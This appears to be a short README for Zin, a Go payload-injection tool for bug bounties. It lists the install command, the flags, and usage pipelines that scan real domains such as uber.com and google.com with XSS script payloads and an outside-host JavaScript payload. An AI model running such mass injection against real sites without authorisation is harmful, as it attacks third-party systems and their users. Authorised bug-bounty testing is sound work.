Zin is a payload Injector For Bugbounties Written In Go.
Features
Install
$ go get -u github.com/ethicalhackingplayground/Zin
New Features
Arguments
May the bounties come
-c int
the concurrency (default 20)
-g string
grep the response for any matches
-p string
the payload to be used
-pL string
the list of payloads to be used
-s int
filter by status codes (default 200)
$ subfinder uber.com | gau | grep “=http” | Zin -c 80 -p http://10.82.214.84:31386/foobar.js -g “SUP3R_S3cret_1337_K3y”
$ subfinder uber.com | gau| Zin -c 80 -p ‘”><script>alert(matchforthis)script>’ -g “matchforthis”
$ cat hosts | gau | grep “&” | Zin -c 80 -pL <payloadfile>
$ subfinder -dL domains –silent | gau | Zin -c 80 -p <payload>
$ echo “google.com” | gau | grep “&” | Zin -c 80 -p ‘”><script>alert(matchthis)</script<“‘ -g “matchthis”
$ cat hosts | gau | Zin -c 80 -p <payload>
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